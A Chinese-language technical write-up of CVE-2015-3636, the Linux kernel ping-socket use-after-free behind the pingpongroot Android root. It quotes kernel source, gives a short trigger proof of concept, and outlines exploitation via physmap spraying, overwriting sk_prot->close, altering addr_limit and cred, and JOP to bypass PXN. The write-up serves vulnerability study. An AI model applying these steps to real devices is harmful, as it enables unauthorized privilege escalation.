CVE-2015-3636内核漏洞分析

漏洞简介

Linux kernel的ping套接字实现上存在释放后重利用漏洞,x86-64架构的本地用户利用此漏洞可造成系统崩溃,非x86-64架构的用户可提升其权限,pingpongroot就是利用该漏洞达到提权的效果,现在android-6.0以下的手机root工具靠的就是这个漏洞。

漏洞分析

详细的分析参考KeenTeam这篇文章Own your Android! Yet Another Universal Root

漏洞POC很简单,如下:

1
2
3
4
5
6
int sockfd= socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);  // refcount =1;       
structsockaddr addr = { .sa_family = AF_INET };
int ret =connect(sockfd, &addr, sizeof(addr)); // refcount ++; 创建hash
structsockaddr _addr = { .sa_family = AF_UNSPEC };
ret =connect(sockfd, &_addr, sizeof(_addr)); //删除hash;refcount --;
ret =connect(sockfd, &_addr, sizeof(_addr)); // bug导致继续删除hash;refcount --; refcount

简单的说就是当用户用ICMP socket和AF_UNSPEC为参数调用connect()时,系统会直接跳到disconnect(),删除当前sock对象的hash,并且让refcount递减一次,删除hash过程的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void ping_unhash(struct sock *sk)
{

struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
if (sk_hashed(sk)) {
write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_nulls_node);
sock_put(sk);
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}

第一次调用hlist_nulls_del删除hash后会将hlist_node.pprv=0x200200,然后再用相同的参数再调用一次connect(),因为hash已经被删除了,此时if语句应该返回FALSE,但是由于hlist_node.pprv = 0x200200 != null导致sk_hashed(sk)返回TRUE,导致refcount被多减了一次。因此,攻击者只需要创建一个ICMP socket,连续调用3个connect()(第一个connect()用来生成hash),就可以把refcount置为0,从而释放sock对象导致UAF。

如何构造poc

ping_unhash 调用来源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct proto ping_prot = {
.name = "PING",
.owner = THIS_MODULE,
.init = ping_init_sock,
.close = ping_close,
.connect = ip4_datagram_connect,
.disconnect = udp_disconnect,
.setsockopt = ip_setsockopt,
.getsockopt = ip_getsockopt,
.sendmsg = ping_v4_sendmsg,
.recvmsg = ping_recvmsg,
.bind = ping_bind,
.backlog_rcv = ping_queue_rcv_skb,
.hash = ping_hash,
.unhash = ping_unhash, // !!!!!!!!!
.get_port = ping_get_port,
.obj_size = sizeof(struct inet_sock),
};

ping_prot

1
2
3
4
5
6
7
8
9
10
11
12
13
static struct inet_protosw inetsw_array[] =
{
...
{
.type = SOCK_DGRAM,
.protocol = IPPROTO_ICMP,
.prot = &ping_prot,
.ops = &inet_dgram_ops,
.no_check = UDP_CSUM_DEFAULT,
.flags = INET_PROTOSW_REUSE,
},
...
};

所以创建的socket为socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

ping_prot.unhash调用来源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int udp_disconnect(struct sock *sk, int flags)
{

struct inet_sock *inet = inet_sk(sk);
/*
* 1003.1g - break association.
*/


sk->sk_state = TCP_CLOSE;
inet->inet_daddr = 0;
inet->inet_dport = 0;
sock_rps_reset_rxhash(sk);
sk->sk_bound_dev_if = 0;
if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
inet_reset_saddr(sk);

if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
sk->sk_prot->unhash(sk); // !!!!!!!!!!!!!!!!
inet->inet_sport = 0;
}
sk_dst_reset(sk);
return 0;
}

ping_prot.disconnect调用来源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,
int addr_len, int flags)
{
struct sock *sk = sock->sk;

if (addr_len < sizeof(uaddr->sa_family))
return -EINVAL;
if (uaddr->sa_family == AF_UNSPEC) // !!!!!!!!!!!!!
return sk->sk_prot->disconnect(sk, flags);

if (!inet_sk(sk)->inet_num && inet_autobind(sk))
return -EAGAIN;
return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);
}

uaddr->sa_family == AF_UNSPEC 时调用disconnect.

sk->sk_userlocks赋值SOCK_BINDPORT_LOCK的引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int ping_bind(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{

struct inet_sock *isk = inet_sk(sk);
unsigned short snum;
int err;
int dif = sk->sk_bound_dev_if;

err = ping_check_bind_addr(sk, isk, uaddr, addr_len);
if (err)
return err;

lock_sock(sk);

err = -EINVAL;
if (isk->inet_num != 0)
goto out;

err = -EADDRINUSE;
ping_set_saddr(sk, uaddr);
snum = ntohs(((struct sockaddr_in *)uaddr)->sin_port); // snum 端口号
if (ping_get_port(sk, snum) != 0) {
ping_clear_saddr(sk, dif);
goto out;
}

pr_debug("after bind(): num = %d, dif = %d\n",
(int)isk->inet_num,
(int)sk->sk_bound_dev_if);

err = 0;
if ((sk->sk_family == AF_INET && isk->inet_rcv_saddr) ||
(sk->sk_family == AF_INET6 &&
!ipv6_addr_any(&inet6_sk(sk)->rcv_saddr)))
sk->sk_userlocks |= SOCK_BINDADDR_LOCK;

if (snum) // !!! 如果存在端口号
sk->sk_userlocks |= SOCK_BINDPORT_LOCK; // !!!!!!!!!!!!! 赋值
isk->inet_sport = htons(isk->inet_num);
isk->inet_daddr = 0;
isk->inet_dport = 0;

#if IS_ENABLED(CONFIG_IPV6)
if (sk->sk_family == AF_INET6)
memset(&inet6_sk(sk)->daddr, 0, sizeof(inet6_sk(sk)->daddr));
#endif

sk_dst_reset(sk);
out:
release_sock(sk);
pr_debug("ping_v4_bind -> %d\n", err);
return err;
}

所以bind时不能指定端口号

1
2
3
struct sockaddr_in sa = { 0 };
sa.sin_family = AF_INET;
bind(sk, &sa, sizeof(sa));

漏洞利用思路

  1. 填充PING socket objects,覆盖close指针。
  2. 调用close(sockfd)获取控制权。
  3. 泄漏内核栈获取thread_info结构。
  4. 修改thread_info.addr_limit值为0xffffffff。
  5. 修改thread_info.task.cred提权。
  6. 由于0x200200地址并没有map,所以最开始要先在该地址map内存防止程序崩溃。

在内核空间中,physmap和SLABs一般会处于不同的地方,physmap位于相对较高的地址,SLABs位于相对较低的地址,由于内核空间里physmap和SLABs靠得很近,可以通过先创建大量的socket对象抬高SLAB地址,exp中会先获取单个进程可创建的最大socket数max_fds,然后循环每个进程创建max_fds个正常的socket然后加上一个漏洞的vul_socket,最终生成了65000个正常的socket加上16个vul_socket。

然后在用户空间不断map内存把数据映射到physmap,通过特殊标记判断内核空间physmap是否和SLAB重叠。
如何判断targeting vulnerable PING sock objects已经被physmap中的数据给覆盖?
每喷一个数据块,就调用一次targeting vulnerable PING sock objects的ioctl(sockfd, SIOCGSTAMPNS, (struct timespec*))函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sock_get_timestampns(struct sock *sk, struct timespec __user *userstamp)
{

struct timespec ts;
if (!sock_flag(sk, SOCK_TIMESTAMP))
sock_enable_timestamp(sk, SOCK_TIMESTAMP);
ts = ktime_to_timespec(sk->sk_stamp);
if (ts.tv_sec == -1)
return -ENOENT;
if (ts.tv_sec == 0) {
sk->sk_stamp = ktime_get_real();
ts = ktime_to_timespec(sk->sk_stamp);
}
return copy_to_user(userstamp, &ts, sizeof(ts)) ? -EFAULT : 0;
}

这个函数将泄漏出sk->sk_stamp这个值,我们可以通过对比这个值和之前填充的值来判断是否已经成功覆盖。

最终效果如下:

如果覆盖成功,将其他正常的socket对象释放掉,然后将vul_socket的sk->sk_prot->close函数指针覆盖掉,最终调用close函数,内核将调用sk->sk_prot->close,这个时候,sk_prot已经完全被控制,即sk_prot->close也被控,最终控制了内核空间的pc寄存器的值,控制了代码的执行流程。

JOP

通过构造JOP绕过PXN保护,关于PXN参考:PXN防护技术的研究与绕过

补丁

漏洞补丁比较简单,删除指针后将指针置NULL。

总结

  1. 源码中查看实socket创建和close流程不容易找到调用关系,可编译goldfish内核进行调试。

  2. 实际在nexus5运行exp并不能触发漏洞,发现抬高过slab内存块之后进行循环map操作,一直没有找到重叠的部分导致while死循环,原因是作者在写exp时保留了系统运行的64M内存,而重叠的部分恰好是在这块内存中,将其尝试变小即可。

  3. 再给的exp中覆盖的close地址为用户空间地址obtain_root_privilege_by_modify_task_cred,该处用来修改线程cred信息并提权操作,在android5.0以后的版本中有PXN保护,并不允许内核执行用户层代码,所以需要构造ROP绕过。构造ROP的思路在KeenTeam的pdf中有详细说明,使用ROP意味着需要将内核栈转移到用户栈空间中,这种行为损坏SP寄存器并带来不确定因素,SP在内核代码执行期间比较关键,任何时候修改破坏是不明智的,所以其中使用的是更稳定的JOP。

  4. 理解SLUB内存管理机制和physmap。

  5. KeenTeam文章中的利用思路,详细说明了为什么不通过sendmmsg()完成堆喷来覆盖,其中的一些思路和想法确实值得深思和学习。